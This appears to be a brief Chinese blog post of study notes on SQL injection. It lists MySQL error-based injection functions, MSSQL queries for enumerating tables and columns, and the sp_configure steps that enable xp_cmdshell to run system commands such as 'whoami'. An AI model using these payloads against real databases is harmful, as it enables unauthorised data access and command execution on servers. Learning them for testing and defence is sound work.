关于数据库的函数

Mid(database() from 1 for 1)==mid(databse(),1,1)

在数据库中字符型字段中条件值为false可以获取全部数据

数据库一般有三种报错

(1)Extractvalue()中第一个为错误参数就会错误报出第二个参数语句

(2)Floor(rand(0)*2) 插入虚拟表时出现键相同,导致的报错

(3)Updatexml ()中第一个,第三个,为错误参数就会错误报出第二个参数语句

第二点原理可以参照以下链接

https://blog.csdn.net/cried_cat/article/details/80022378

 其他的error-based

 

Mssql

16进制转为字符串

select CONVERT(varchar(50),0x576869725f436e745f4174746163686564 )

 

查询数据库

select * from sys.all_objects

 

查表名TABLE_NAME!=这样每一行都能查

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME!=xx and TABLE_NAME!=yy ...

 

列名这里A.NAME是需要查询的表名,B.NAME是不需要的列名,这样可以查询到所有列名0xxx,0yyy

SELECT TOP 1 B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=(select CONVERT(varchar(50),0xxxx)) AND B.NAME!=(select CONVERT(varchar(50),0yyyy)) AND B.NAME!=...

 

执行系统shell命令

exec master.dbo.xp_cmdshell "whoami";  //exec master..xp_cmdshell "whoami"

 

执行之前需要开启xp_cmdshell才可以运行(开启需一定权限,取决于ALTER SETTINGS权限):

EXEC sp_configure 'show advanced options',1;

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell',1;

RECONFIGURE

posted @ 2019-07-04 16:28  morris_pass_A  阅读(150)  评论(0编辑  收藏  举报